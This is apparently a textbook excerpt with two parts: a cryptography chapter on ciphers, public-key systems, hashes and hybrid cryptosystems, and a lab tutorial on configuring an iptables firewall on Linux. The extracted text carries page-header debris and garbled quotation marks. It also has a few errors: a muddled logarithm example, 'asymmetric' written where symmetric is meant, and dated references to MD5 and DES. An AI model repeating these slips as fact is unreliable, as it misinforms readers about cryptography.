Block ciphers can be implemented as stream ciphers and vice versa; the difference is how you apply the cipher. If you have a hardware device, such as a hardware-based Virtual Private Network (VPN), streaming ciphers are easy to implement in hardware and may be ideal, especially for never-ending streams, such as communications links. If the encryption is accomplished in software, such as encrypting a file, block ciphers will be much more efficient. To implement stream ciphers in software requires a tremendous amount of bit masking, which can result in programmer errors and performance penalties.

With block ciphers, plaintext is broken into fixed-length blocks (often 64-bit) and processed one block at a time. As necessary, the last block may be padded. A fixed transformation - same algorithm and key - is ap-plied to each block. Typically, a considerable number of repetitive operations are performed on each block. For most algorithms, the same key is used to encrypt each block at the sending end and to decrypt each block at the receiving end. At the receiving end, the blocks are decrypted (often a nearly identical process as encryption) one block at a time, using the same algorithm and key on each block, to recreate the original plaintext.

The Data Encryption Standard (DES) is a very common block cipher. It uses 64-bit blocks and a 56-bit key. In 1976, the U.S. government adopted DES, followed by the International Standards Organization (ISO) 11 years later. It has been used worldwide for financial transactions ever since.

188

CRYPTOG

RAPH

ICM

ECHA

NISM

Types of Cryptosystems

In today’s cryptosystems, there are three general types of crypto algorithms: secret key or symmetric, public key or asymmetric, and hash. Each is used because it provides a different function from other algorithms. These schemes are usually distinguished from one another by the number of keys employed. The remainder of this section will discuss these different types of algorithms.

Secret Key Cryptography

Symmetric key cryptography uses a single key for both encryption and decryption; this key is the shared secret between sender and receiver. Because symmetric key encryption uses only one key for both encryp-tion and decryption, the key must be kept secret and is also referred to as secret key encryption. The primary application of symmetric encryption is privacy, where only the parties with the key can encrypt and decrypt messages for each other.

Given an adequate symmetric algorithm, the basic attack is brute force. This is where you try every possible key combination. Until 1998, this had been extremely difficult and the product of a few Internet research efforts to harness loosely coupled parallel attacks. Now anyone with a six-figure budget can build a spe-cialized DES cracker. Those willing to attack systems and steal their computing power may not even need money! The RingZero and the DDoS attacks of February 2000 beg the question, ìIf an encrypted message were worth, say, $20 million, and you could assign, say, a thousand Trojanized zombie systems to work on the problem, how long would the symmetric key length need to be?î In 1997, a 40-bit RSA challenge key fell in 3.5 hours using 250 computers. Keep Mooreís law in mind: Computing power doubles every 18 months. So 40 bits is inadequate for todayís threat model.

All that said, the bigger issue with secret keys is managing the key creation and exchange to avoid key com-promise. Also, the greater the number of parties that share the secret key, the greater the exposure of the key. The bottom line is this: Because symmetric-key cryptosystems are so much faster than asymmetric-key systems but lack the latterís key management and digital signatures, the two are often combined to achieve the best of both worlds.

There are a number of symmetric encryption schemes in common use today, all believed to be mathe-matically strong. If a cryptanalyst cannot defeat the ciphers by finding a weakness in the mathematical algorithms, then the remaining approach is a brute-force attack to guess all possible keys. Key size does matter, as explained in a paper by Matt Blaze, Whitfield Diffie, Ron Rivest, Bruce Schneier, and others in the cryptographic community. The paper, Minimal Key Lengths for Symmetric Ciphers to Provide Adequate Commercial Security (http://www.counterpane.com/keylength.html), describes brute-force attacks that are within the cost and computing means of a variety of attackers, and the key lengths necessary to keep such attackers at bay.

Examples of symmetric encryption schemes in common use today are the Advanced Encryption Standard (AES), Blowfish, the Data Encryption Standard (DES), Triple DES, and the International Data Encryption Algo-rithm (IDEA).

189

CRYP

TOG

RAPH

ICM

ECH

AN

ISM

Public Key Cryptography

The management problems associated with symmetric keys are so overwhelming that they virtually pre-clude their use by themselves in e-commerce. But we can use public key computation to develop a shared message key. Also, algorithms like Diffie-Hellman can be used to exchange a secret key. Again, the general idea is to exchange keys securely, perhaps only once, to secure a given session, such as a visit to a Web page to execute a credit card transaction.

Public key cryptography or asymmetric encryption methods have two keys: one used for encryption and the other for decryption. From a mathematical standpoint, anything that is encrypted with one of the keys can be decrypted only with the other key. Asymmetric encryption has many applications, but the primary ones today are key exchange (for symmetric encryption), authentication, and non-repudiation.

Stanford University professor Martin Hellman and graduate student Whitfield Diffie first described modern asymmetric encryption publicly in 1976. Their paper described a two- key cryptosystem in which two parties could engage in a secure communication over a non-secure communications channel without sharing a secret key. The mathematical trick of asymmetric encryption depends on the existence of so-called trapdoor functions, or mathematical functions that are easy to calculate, whereas their inverse is difficult to calculate. Here are two very simple examples:

Multiplication vs. factorization: Multiplication is easy; given the two numbers 9 and 16, it takes almost no time to calculate the product of 144. But factoring is harder; it takes longer to find all of the pairs of integer factors of 144, and then to determine the correct pair that was actually used.

Exponentiation vs. logarithms: It is easy to calculate, for example, the number 3 to the 6th power to find the value 729. But given the number 729, it is much harder to find the set of integer pairs, x and y, so that logx y = 729 and then, again, to determine that pair was actually used.

190

CRYPTOG

RAPH

ICM

ECHA

NISM

The previous examples are trivial, but they are examples of the concept; namely, the ease of multiplication and exponentiation versus the relative difficulty of factoring and calculating logarithms, respectively. Actual asymmetric encryption algorithms use integers that are prime and can be several hundred digits in length. Multiplying two 300- digit primes, for example, yields a 600-digit product; finding the two prime factors of a 600-digit number is beyond the capabilities of today’s known methods. In this case, then, factoring is said to be intractable because of the difficulty of solving the problem in a timely fashion.

Keys are derived in pairs and are mathematically related, although knowledge of one key by a third party does not yield knowledge of the other key. One key is used to encrypt the plaintext, and the other key is used to decrypt the ciphertext; it does not matter which key is applied first, but both keys are required for the process to work.

One of the keys is designated as the public key and may be advertised as widely as the owner wants. The other key is designated as the private key and is never revealed. If Alice wants to send Bob a message, she merely encrypts the plaintext using Bob’s public key; Bob decrypts the ciphertext using his private key.

This two-key scheme can also be used to prove who sent a message. If Alice, for example, encrypts some plaintext with her private key, Bob (or anyone else) can decrypt the ciphertext using Alice’s public key. The benefit here is that Bob (or whoever successfully decrypts the ciphertext) knows for sure that Alice encrypt-ed the message (authentication), and Alice cannot subsequently deny having sent the message (non- repu-diation).

In the real world, how are these asymmetric key systems used? They are typically used to perform key ex-change for symmetric key algorithms.

Bottom line: Despite being much slower than symmetric-key cryptosystems, asymmetric- key systems are widely used because of their powerful key management and digital signatures - often in concert with symmetric-key systems to attain the best of both worlds. In the next section, you will read a case study of a well-known asymmetric-key system, the Diffie-Hellman Key Exchange.

Who Invented Public-Key Crypto?

The true history of asymmetric encryption - and answering the question of its invention - is somewhat murky. There is no question that Diffie and Hellman were the first to publicly publish on the topic. Their classic paper, New Directions in Cryptography, appeared in the November 1976 issue of IEEE Transactions on Information Theory. Diffie and Hellman were not trying to solve the key exchange problem, per se, but were trying to make the problem obsolete by inventing a scheme that used a split key; that is, one key for encryp-tion and a second key for decryption. They published their concept of split-key crypto, but did not identify a function that would work. Rivest, Shamir, and Adleman described their implementation in the paper A Method for Obtaining Digital Signatures and Public-Key Cryptosystems, which was published in the Febru-ary 1978 issue of the Communications of the ACM (CACM).

Some sources, however, credit Ralph Merkle as the first to describe a system that allows two parties to share a secret using what is now called a Merkle Puzzle. His early work was largely misunderstood, and although he submitted a paper to CACM some years earlier, his description did not appear until April 1978. He certain-ly was not the first to publish, but did he have a workable idea before Diffie and Hellman?

The true invention of public key cryptography probably does not belong to anyone in the U.S., however. The article The Open Secret in the April 1999 issue of WIRED Magazine reports that asymmetric encryption was probably first invented by James Ellis of the UK’s Government Communications Headquarters (GCHQ) in 1969. Ellis’ work was classified until the late 1990s, so there was no public mention of it, and it is possible that Ellis influenced the work of Diffie and Hellman. The U.S. National Security Agency (NSA) claimed to have knowledge of this type of split-key crypto as early as 1966, but there is no known documentation.

191

CRYP

TOG

RAPH

ICM

ECH

AN

ISM

Case Study: Diffie-Hellman Key Exchange

Diffie and Hellman first published the concept of two-key crypto in 1976, but it was some time later that they developed the Diffie-Hellman asymmetric algorithm, which is referred to today as the ìDiffie-Hellmanî and is used only for key exchange. This method provides a mechanism so Alice and Bob can determine the same secret key, even on a network with someone observing all of their communications. Essentially, it allows two parties to exchange a secret key in the presence of an adversary over a nonsecure network.

Hash Functions

Remember that there are three types of cryptography algorithms: secret key, public key, and hash functions. Unlike secret key and public key algorithms, hash functions, also called message digests or one-way en-cryption, have no key. Instead, a fixed-length hash value is computed based on the plaintext that makes it impossible for either the contents or length of the plaintext to be recovered.

The primary application of hash functions in cryptography is message integrity. The hash value provides a digital fingerprint of a message’s contents, which ensures that the message has not been altered by an in-truder, virus, or by other means. Hash algorithms are effective because of the extremely low probability that two different plaintext messages will yield the same hash value.

There are several well-known hash functions in use today:

Hashed Message Authentication Code (HMAC): Combines authentication via a shared secret with hash-ing.

Message Digest 2 (MD2): Byte-oriented, produces a 128-bit hash value from an arbitrary-length message, designed for smart cards.

MD4: Similar to MD2, designed specifically for fast processing in software.

MD5: Similar to MD4 but slower because the data is manipulated more. Developed after potential weak-nesses were reported in MD4.

Secure Hash Algorithm (SHA): Modeled after MD4 and proposed by NIST for the Secure Hash Standard (SHS), produces a 160-bit hash value.

192

CRYPTOG

RAPH

ICM

ECHA

NISM

Today’s Cryptosystems

The previous section described a number of cryptography algorithms that are employed for different ap-plications that enable secure communications. In today’s environment, computers come in many varieties - from desktop systems to mobile communications devices to home appliances. The Internet, although it provides global communication, is the ultimate nonsecure communications medium.

So how are these types of cryptosystems deployed in the real world? In this section, we will examine Pretty Good Privacy (PGP), the Secure Sockets Layer (SSL), and Kerberos. These public key systems are arguably the de facto standards worldwide in their respective niches. SSL is built in to virtually every Web browser, and PGP is widely used to encrypt or digitally sign documents and e-mail. Kerberos is now the authentication used by Microsoft operating systems. Kerberos is a single sign-on system for client/server authentication, which was invented at MIT. The university has deployed it in its high-risk environment for more than 15 years.

In today’s crypto products, what appears to the user as a single system actually comprises multiple algo-rithms used in conjunction to form a hybrid cryptosystem. Multiple algorithms are employed because each is optimized for a specific purpose.

For example, Alice wants to send a message to Bob. The message needs to be private, the message integrity verified, and Alice’s identity confirmed. Alice knows several things, including the message, her own private key, and Bob’s public key. Alice starts by passing the message through a hash function to obtain a hash value. She encrypts the hash value with her private key using a asymmetric algorithm. This forms the digital signature.

Alice also creates a random session key for use by the symmetric encryption, which is used to encrypt the message. The secret key is encrypted with Bob’s public key using asymmetric encryption. The encrypted message and encrypted session key form a digital envelope. The digital envelope and digital signature are sent to Bob.

Bob obtains the symmetric session key by decrypting it with his private key using asymmetric encryption. The session key is then used to decrypt the message. The decrypted message is run through the hash func-tion, and the value is compared to the digital signature’s hash value that was decrypted with Alice’s public key.

At this point, Bob knows:

The contents of the private message (symmetric encryption).

That the message was intended for him (because he was able to obtain the secret key).

That the message was not altered (because his hash value matched Alice’s hash value).

That the message was sent by Alice (because he was able to recover the hash value using Alice’s public key).

But why do we need all of these crypto algorithms? Why not just use asymmetric encryption for everything? The answer is processing speed: symmetric encryption is about 1000 times faster than asymmetric encryp-tion for bulk encryption. Diffie-Hellman and RSA were originally seen by their inventors as a way to encrypt and decrypt information using a split key, thereby eliminating the key exchange problem of asymmetric encryption. In the mid-1980s, Lotus Notes designer Ray Ozzie and PGP developer Phil Zimmermann inde-pendently observed that asymmetric encryption was much slower than symmetric encryption and using asymmetric encryption for large volumes of data would be infeasible. They designed their software to use symmetric encryption for encryption of data and asymmetric encryption for key exchange. Other algorithms were added, such as hash values for integrity and signed hash values for authenticating the sender.

In the next few sections, we will examine some commonly employed cryptosystems - PGP, SSL, and Kerberos - in greater detail.

193

CRYP

TOG

RAPH

ICM

ECH

AN

ISM

Summary

Cryptography, the science of secret writing, is an essential component of computer and network security at all levels. Information security professionals must be comfortable with at least the basic terms and concepts associated with this field so that they can understand products, services, and vendor claims.

While the crypto methods used today are vastly stronger and more complex than algorithms used even 30 years ago, the same two fundamental operations still form the basis of symmetric encryption schemes used to encrypt messages for privacy, namely substitution and permutation. Substitution is the method of re-placing, or substituting, characters in a message with other characters, whereas permutation (transposition) moves characters around within the message. Today’s algorithms tend to employ many rounds of both.

Crypto schemes that operate on a single bit or byte at one time are usually called stream ciphers, whereas those that work on larger collections of bits and bytes are called block ciphers. Block ciphers are most com-mon, although there are a number of stream ciphers used in the field.

A crypto key governs the transformation of the plaintext into ciphertext. Modern crypto algorithms can be broadly classified into three categories based on the number of keys employed and the goals they accom-plish. Each of these methods is used for specific applications. The categories are:

• Symmetric encryption algorithms use a single key for both encryption and decryption. Key lengths be-tween 128 and 256 bits are generally thought to be adequate; shorter keys are deemed weak. Common algorithms such as AES (Rijndael), DES, 3DES, IDEA, RC4, and RC5 are used for privacy.

• Asymmetric encryption algorithms use a pair of very large, mathematically related keys. Asymmetric encryption uses a two-key system, whereby one of the keys is used to encrypt data, and the other is used for decryption. This depends on the existence of so-called trapdoor functions that are easy to calculate whereas the inverse function is very difficult (intractable). With trapdoor functions, one key does not yield knowledge of the other key. One of the keys, therefore, can be widely distributed and is called the public key; the other key is kept secret and is called the private key. Common schemes such as Diffie-Hellman, RSA, and ECC may be used for such functions as key exchange, user authentication, and digital signatures. RSA is a public key algorithm invented in 1977 by Rivest, Shamir, and Adleman. RSA and Elliptic Curve Cryptography (ECC) are discussed further in the next chapter.

• Hash functions are one-way encryption; they employ no key, and the hash operation cannot be reversed to recover the original plaintext from the hash value. Hash functions such as MD5 and SHA are used for message integrity.

In today’s environment, it is rare to find only one of these algorithms in use; it is far more common to find a set of these protocols used together to form a cryptosystem. PGP is such a cryptosystem, and can provide privacy, message integrity, and authentication for e-mail applications. In the same manner, SSL/TLS is used as a cryptosystem for secure e- commerce transactions.

While cryptography is necessary for security, it is not sufficient by itself. There are bad crypto schemes, bad implementations of good crypto schemes, and misuse of good implementations. Just as security is a pro-cess, so is the management and use of crypto; thus, security administrators - and users - need to be trained in the art of cryptography.

PART 3 LAB Excercises

LAB 1 Firewall ImplementationLAB 2 NIDS ImplementationLAB 3 SteganographyLAB 4 Crypto Cracking

195

Introduction

This lab shows how to use iptables to set up a secure firewall on your Linux home computer(s). It contains plenty of configuration examples and command output. If you follow the examples you will be able to build and deploy a robust and flexible firewall of your own.

Having configured the firewall there are instructions on how to create a script to start it automatically at boot-time using the “/etc/init.d update-rc” mechanism.

Firewall Overview

Essentially, there are two types of firewall - external and internal. Corporate firewalls are usually dedicated external devices with complex rule-sets, whereas internal (personal) firewalls run on your computer and are generally much simpler to configure.

The basic job of both types of firewall is the same – an external firewall prevents unwanted “outside” traffic from entering your network whereas an internal firewall prevents unwanted “inside” traffic from entering your computer; together with any “outside” traffic that the external firewall may have allowed through either deliberately or by misconfiguration.

An underlying principle of all firewalls is as follows:

The outbound traffic that you generate is good because you sent it so you know what it is. Inbound respons-es to that traffic must, for the most part, also be good. Unsolicited inbound traffic may be bad and should be stopped!

Clearly there are some exceptions to this principle but I am assuming that it holds true for the purpose of this tutorial.

Most corporate firewalls spend their day trying to detect and prevent Denial of Service attacks. They not only enforce connection rules but also look out for anomalous protocol behaviour and use deep packet inspection to find virus signatures and other naughty code. Iptables is very good at the connection rules thing, but is not a virus scanner or deep packet inspection tool.

Note:

Fire-walling and virus protection are two distinct functions. A personal firewall per se does not protect against viruses, although most commercially available personal firewall packages are accompanied by a virus scanner of some description.

Firewalls correlate related outbound and inbound traffic into “flows”. Related traffic is any bi-directional traf-fic stream that has corresponding source and destination IP addresses, protocol types, source and destina-tion port numbers and, in the case of TCP, sequence numbers and acknowledgements. The firewall main-tains a connection table to track the state of each flow and check for correct protocol behaviour. Firewalls that maintain connection tables are referred to as “stateful” firewalls. Iptables is a stateful firewall.

PART

3LA

B E

XCER

CISE

S

196

Iptables Overview

Iptables is a suite of powerful directives that hook into the Linux kernel at various stages of the packet pro-cessing lifecycle. Figure-1 below shows where iptables sits in relation to the kernel and at which points the hooks into the kernel are provisioned.

PART 3

LAB EXCERCISES

197

I ptables is used to create and manage rules that provide, amongst other things, packet manipulation, con-nection tracking, NAT, ToS / DSCP matching and re-writing, and connection rate-limiting.

Netfilter is the Linux kernel’s native packet filtering subsystem which is not available to the user other than through system primitives. Iptables provides a user interface to configure the netfilter subsystem. Most third party Linux firewalls that you download, and install, such as UFW and Firewall Builder, are simply front-ends to iptables. Understanding how to configure iptables natively allows you to implement more granular and comprehensive packet filtering and manipulation policies than any of the third party applications.

Iptables Structure and Terminology

Iptables allows an administrator to populate tables with chains of rules that manipulate packets at different stages of the kernel’s packet processing life-cycle.

Each table has a distinct function. For example, the filter table (the default table) provides commands to filter and accept or drop packets, the NAT table provides commands to translate (modify) source or destina-tion IP addresses, and the mangle table provides commands to modify packet headers.

Each table contains entities called “chains” under which specific packet rules (policies) are configured. For example, the filter table contains built-in chains called INPUT, FORWARD and OUTPUT. A packet drop rule configured underneath the INPUT chain directs the kernel to DROP packets that are received on a particular interface.

Table-1 below lists the “iptables tables”, their function and the built-in chains they contain. This tutorial focuses predominantly on the filter table but the principles apply equally well to all of the tables in the ipt-ables subsystem.

TABLE 1

PART

3LA

B E

XCER

CISE

S

198

Figure-2 below shows another representation of the stages at which the various rule chains hook into the kernel packet processing subsystem together with the tables with which the chains are associated. This dia-gram depicts two types of packet flow:

1. Packets entering interfaces one and two that terminate in an application within the computer (local packets). The application returns these packets to the interface over which they arrived if the application issues a response to the sender.

2. Packets entering interface one are forwarded direct to interface two, and vice- versa. These packets are not handed over for local processing. The computer is set up to forward packets, which are simply rout-ed through the computer.

PART 3

LAB EXCERCISES

199

Schematic of Tables & Chains

Iptables makes more sense logically if we visualise the sequence of events from a chains rather than tables perspective. For example, if you configure rules under the INPUT chain within any of the filter, security, man-gle, or nat tables you apply the actions that those tables support to the packet at the kernel’s input process-ing stage.

Referring to Figure-1 above, if the INPUT chain of the filter table contains a rule to “accept” a red packet arriving on INT-2, a rule under the INPUT chain of the nat table could be configured to change the packet’s destination address and a rule under the INPUT chain of the mangle table could be configured to change the packet’s Type of Service value.

No rules exist in any of the chains by default and every chain’s default policy is ACCEPT. Therefore, by default, iptables allows all packets to pass through the kernel unchanged.

Basic Configuration

All of the configuration examples in this section use the filter table. If you do not need your computer to per-form NAT or to forward (route) packets, the filter table is all that you need to build and implement a robust and secure firewall.

In the advanced configuration section I show an example of how the mangle table is used to modify the DSCP values of packets before the kernel queues them for transmission on an interface.

Examining the Tables

To examine the default filter table issue the following command, where -v is verbose,

-n is numeric display of addresses and ports, and -L is list:

The chains within the table are displayed along with their default policy, which is ACCEPT. We have not yet configured any packet rules underneath the chains.

To examine the chains in any of the other tables use the -t <name> command, for example:

root@archiso:# iptables -t mangle -vnL

The filter table is the default table so it is not necessary to specify -t when examining it.

PART

3LA

B E

XCER

CISE

S

200

Default Policy

Iptables assigns ACCEPT as the default policy to every chain in every table.

Even though iptables isn’t yet doing anything special to the packets it is still processing them because the packet and byte counters of each chain are incrementing:

Each rule that we configure has its own packet and byte counters, which allows us to check that the rules are processing packets correctly.

To zero the counters on a chain in the default filter table specify the -Z option together with the name of the chain:

iptables -Z INPUT

To zero the counters on a chain in any other table specify the table name using the – t option:

iptables -t mangle -Z OUTPUT

The computer is totally “open” if the default policy is ACCEPT on every chain in every table. The first thing to do to start securing the computer is to change the default policy to DROP on the INPUT chain of the filter table.

Issue a ping to the loopback IP address 127.0.0.1

The ping works as expected. Now change the INPUT chain’s default policy to DROP using the -P option, and redisplay the chains:

iptables -P INPUT DROP

chains

PART 3

LAB EXCERCISES

201

Issue a ping to the loopback interface and examine the filter table again:

The ping fails and the INPUT chain has counted the dropped packets. We sent 7 x 84-byte ICMP packets and the policy counters correctly show 7 x dropped packets and 84 bytes.

This proves that the policy we applied is working. The filter table is acting as a firewall and telling the kernel to drop incoming packets that are destined for the loopback interface.

The next step is to change the default policy to DROP on the FORWARD chain, but not on the OUTPUT chain.

iptables -P FORWARD DROP

We don’t change the default policy to DROP on the OUTPUT chain because it is safe to assume that any traffic we send out is secure. We are only concerned with the traffic that we receive and whether any new, unsolicited incoming connections are being attempted. We can always modify the OUTPUT policy and rules later on if we wish to prevent certain types of outbound traffic to specific destinations.

Incidentally, if we do set the OUTPUT chain’s policy to drop, we get the following error messages when try-ing to ping the loopback interface:

root@archiso:# ping 127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

ping: sendmsg: Operation not permitted

ping: sendmsg: Operation not permitted

ping: sendmsg: Operation not permitted

ping: sendmsg: Operation not permitted

^C

--- 127.0.0.1 ping statistics ---

4 packets transmitted, 0 received, 100% packet loss, time 3022ms

PART

3LA

B E

XCER

CISE

S

202

Changing the OUTPUT chain’s default policy to DROP instructs the kernel to disallow any outbound pack-ets from every interface on the router, including the loopback interface. An internal ping uses the loopback interface as its source.

I have changed the OUTPUT chain’s default policy back to ACCEPT so we can resume sending outbound packets. The filter table is displayed below and the packet counters confirm that the kernel is accepting packets for output once more.

root@archiso:#iptables -nvL

Chain INPUT (policy DROP 73 packets, 5394 bytes)

pkts bytes target prot opt in out source

Chain FORWARD (policy DROP 0 packets, 0 bytes)

pkts bytes target prot opt in out source

Chain OUTPUT (policy ACCEPT 53 packets, 4155 bytes)

destination

destination

pkts bytes target prot opt in out source destination

Notice that the FORWARD chain is not counting any packets. This is because the FORWARD chain is effec-tively not being used. Why?

On Ubuntu, IP forwarding (a.k.a routing) between interfaces is disabled by default. If you enable IP forward-ing the FORWARD chain rules are used only to filter and manipulate packets that the routing subsystem processes.

Please note: On Ubuntu, the command to enable IP forwarding manually is echo “1” > /proc/sys/net/ipv4/ip_forward. Use echo “0” > /proc/sys/net/ipv4/ip_forward to disable IP forwarding. To enable IP forwarding across reboots uncomment the line net.ipv4.ip_forward=1 in file /etc/sysctl.conf. Be cautious. Enabling IP forwarding on your computer can break your network if you are not sure what you are doing.

PART 3

LAB EXCERCISES

203

Interface Rules

The default policy in the filter table’s INPUT chain is currently set to DROP, which is preventing any packets from coming into any interfaces on the computer. We need to append a rule to the INPUT chain to allow packets into the loopback interface because the operating system and some applications need to be able to reach this interface to function properly.

iptables -A INPUT -i lo -j ACCEPT

Please note: In addition to -A the iptables command supports a variety of other arguments, such as –I to insert rules, -D to delete rules etc. The iptables -h command summarises the list of available arguments.

Having added the above rule, examine the filter table. Note the use of a new option in the list command to display rule line numbers:

root@archiso:# iptables -nvL --line-numbers

Chain INPUT (policy DROP 55 packets, 6646 bytes)

num pkts bytes target prot opt in out source desti-nation

1 33 2268 ACCEPT all -- lo * 0.0.0.0/0 0.0.0/0

Chain FORWARD (policy DROP 0 packets, 0 bytes)

num pkts bytes target prot opt in out

Chain OUTPUT (policy ACCEPT 97 packets, 6600 bytes)

num pkts bytes target prot opt in out

source

source

destination

destination

The -A in the command means “append” the rule to the chain, the -J means “jump” to a target, and the target is ACCEPT. In iptables terminology, a “target” is the action to perform on that packet. In the filter table the target actions are ACCEPT, DROP, REJECT etc. Different tables support different target actions e.g. the nat table supports actions such as SNAT and DNAT to change a packet’s source and/or destination IP addresses.

If you create a user-defined chain you can specify the chain name as a target action in another rule, which allows you to create branching rule-sets. This is explained later on in the section on logging.

Please note: In addition to -A the iptables command supports a variety of other arguments, such as –I to insert rules, -D to delete rules etc. The iptables -h command summarises the list of available arguments.

Having added the above rule, examine the filter table. Note the use of a new option in the list command to display rule line numbers:

PART

3LA

B E

XCER

CISE

S

204

root@tony-laptop:~/Firewall# iptables -nvL --line-numbers

Chain INPUT (policy DROP 55 packets, 6646 bytes)

num pkts bytes target prot opt in out source destination

1 33 2268 ACCEPT all -- lo * 0.0.0.0/0 0.0.0/0

Chain FORWARD (policy DROP 0 packets, 0 bytes)

num pkts bytes target prot opt in out

Chain OUTPUT (policy ACCEPT 97 packets, 6600 bytes)

num pkts bytes target prot opt in out

source

source

destination

destination

Rule 1 underneath the INPUT chain directs the kernel to accept into the loopback interface packets from any protocol, from any source (0.0.0.0) to any destination (0.0.0.0) IP address.

Rule 1’s packet counter is counting accepted packets but the INPUT chain’s summary counter is still counting dropped packets. This is correct because we only applied the ACCEPT action to the loopback interface and the INPUT chain is using its default policy to drop packets arriving on other interfaces.

Ping the loopback interface to check that Rule 1 is working correctly:

root@archiso:# ping 127.0.0.1

PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.

64 bytes from 127.0.0.1: icmp_req=1 ttl=64 time=0.051 ms

64 bytes from 127.0.0.1: icmp_req=2 ttl=64 time=0.052 ms

64 bytes from 127.0.0.1: icmp_req=3 ttl=64 time=0.053 ms

64 bytes from 127.0.0.1: icmp_req=4 ttl=64 time=0.051 ms

^C

--- 127.0.0.1 ping statistics ---

4 packets transmitted, 4 received, 0% packet loss, time 2999ms rtt min/avg/max/mdev = 0.051/0.051/0.053/0.008 ms

The configuration can now be extended to encompass the “eth0” and “wlan0” interfaces as well as the proto-cols that run over them.

PART 3

LAB EXCERCISES

205

Protocols & Services – DHCP

If your computer uses DHCP to obtain IP addresses automatically it is necessary to add an INPUT chain rule to allow its interfaces to receive bootp packets.

DHCP uses the bootp protocol that runs over UDP. The DHCP client uses protocol destination port 68 to receive “bootpc” packets and the DHCP server uses protocol source port 67 to send “bootps” packets (please refer to the IANA protocol port number list).

Create a rule using these port numbers and append it to the INPUT chain, as shown below. Please note that no interfaces are specified in the rule so it will permit “bootp” packets to be received on both the “eth0” and “wlan0” interfaces. But we could have created two separate rules, one for each interface.

iptables -A INPUT -p udp --sport 67 --dport 68 -j ACCEPT

The INPUT chain’s rules are shown below. Notice use of the –L INPUT option in the command to display only the rules in the INPUT chain.

root@archsio:# iptables -nvL INPUT --line-numbers

Chain INPUT (policy DROP 424 packets, 82256 bytes)

num pkts bytes target prot opt in out source destination

1 1108 94156 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0

2 0 0 ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp spt:67 dpt:68

The Rule 2’s counters are zero because the computer already has an IP address so no “bootp” packets have been exchanged yet with the DHCP server. However, forcing an IP address renewal on “eth0” will cause the counters to increment and, hopefully, the interface should receive an IP address.

root@archsio:#dhclient -r

root@archsio:#dhclient eth0

root@archsio:#iptables -nvL INPUT --line-numbers

Chain INPUT (policy DROP 424 packets, 82256 bytes)

num pkts bytes target prot opt in out source destination

1 1108 94156 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0

2 2 636 ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp spt:67 dpt:68

Perfect! The computer receives and counts 2 x “bootp” packets. It sent out a DHCP Discover and the DHCP server returned a DHCP Offer containing our IP, default gateway and DNS addresses. The computer then sent out a DHCP Request to confirm that we will use the offered addresses, and the DHCP server returned a DHCP ACK. We now have all of the IP address information that we need to communicate with the outside world.

Recall that it is not necessary to configure any specific OUTPUT rules because the default output policy is ACCEPT.

PART

3LA

B E

XCER

CISE

S

206

Protocols & Services – TCP & UDP

In order to browse the Internet it is necessary to configure filters that permit inbound responses to the out-bound HTTP/HTTPS TCP requests that we transmit. We also need to permit UDP responses for VoIP applica-tions, such as Skype.

The Linux “netstat” command displays the contents of the computer’s TCP connection table. The output below confirms that there are currently no active TCP or UDP connections to any external IP addresses.

root@archiso# netstat -n -A inet

Active Internet connections (w/o servers)

Proto Recv-Q Send-Q Local Address Foreign Address State

tcp 1 0 192.168.1.66:37868 91.189.89.144:80 CLOSE_WAIT

udp 0 0 127.0.0.1:52831 127.0.0.1:53 ESTABLISHED

The only connections that do exist are a TCP connection in the CLOSE_WAIT state and an internal ESTAB-LISHED UDP connection between the computer’s loopback interface and its DNS daemon.

The following commands append rules to the INPUT chain for each of the “eth0” and “wlan0” interfaces to permit reception of inbound responses to outbound connections that we initiate over those interfaces.

Note that the rules do not specify a specific protocol type so any response packets are permitted. The com-mands include some additional and very important arguments, namely -m (match) and --state ESTABLISHED and RELATED.

iptables -A INPUT -i eth0 -m state --state ESTABLISHED,RELATED -j ACCEPT

iptables -A INPUT -i wlan0 -m state --state ESTABLISHED,RELATED -j ACCEPT

The ESATBLISHED argument permits responses only to connections that we originate. The RELATED argu-ment has special significance. It permits responses to connections that existing ESTABLISHED connections may “spawn”. This is explained in more detail in the sections Protocol & Services - FTP and Basic Configura-tion - FTP.

Please note: The “nf_conntrack” kernel module is loaded by default with iptables. It is responsible for identi-fying established and related IP connections in the connection tracking database. For Passive FTP it is neces-sary to load the “nf_conntrack_ftp” kernel module, which is not loaded by default. This module is specifically responsible for identifying established and related FTP connections.

After appending the new rules to the INPUT chain the filter table now looks like this:

PART 3

LAB EXCERCISES

207

root@archiso# iptables -nvL --line-numbers

Chain INPUT (policy DROP 20 packets, 1244 bytes)

num pkts bytes target prot opt in out source destination

1 187 19204 ACCEPT all -- lo * 0.0.0.0/0 0.0.0.0/0

2 2 636 ACCEPT udp -- * * 0.0.0.0/0 0.0.0.0/0 udp spt:67 dpt:68 3 2698 3070K ACCEPT all -- eth0 * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED

4 0 0 ACCEPT all -- wlan0 * 0.0.0.0/0 0.0.0.0/0 state RELATED,ESTABLISHED

Chain FORWARD (policy DROP 0 packets, 0 bytes)

num pkts bytes target prot opt in out source destination

Chain OUTPUT (policy ACCEPT 2511 packets, 315K bytes)

num pkts bytes target prot opt in out source destination

We could have configured more specific rules using the -p tcp and -p udp arguments but the iptables ES-TABLISHED and RELATED options are better because they reduce considerably the number of rules that we need to create.

It is now possible for us to browse the Internet. After browsing to the BBC home page the computer’s netstat connection table shows the external sites to which the computer has established connections successfully. The Linux “netstat” command shows TCP rather than iptables states, the difference between these two is explained in the section Basic Configuration - TCP.

root@tony-laptop:~/Firewall# netstat -n -A inet

PART

3LA

B E

XCER

CISE

S

208

The order of the rules is important. If a rule matches a packet the remaining rules take no action. The two rules we just applied are effectively catch-all rules that should be configured at the end of the INPUT chain. If these catch-all rules are configured higher up the chain they may match packets for which more specific rules have been configured lower down.

However, these catch-all rules sometimes work in conjunction with the rules configured above them. For ex-ample, when we create the rule to accept inbound FTP connections these catch-all rules are used to process the RELATED connections for Passive FTP to work.

Basic Configuration Summary1. So, what has our pretty basic iptables configuration provided so far?

2. By default, the computer drops all inbound packets that are not explicitly ACCEPTED by rules (INPUT default policy is DROP)

3. By default, the computer allows out any packets that it generates (OUTPUT default policy is ACCEPT)

4. The loopback interface accepts all internally generated packets to ensure correct operation of the oper-ating system and applications

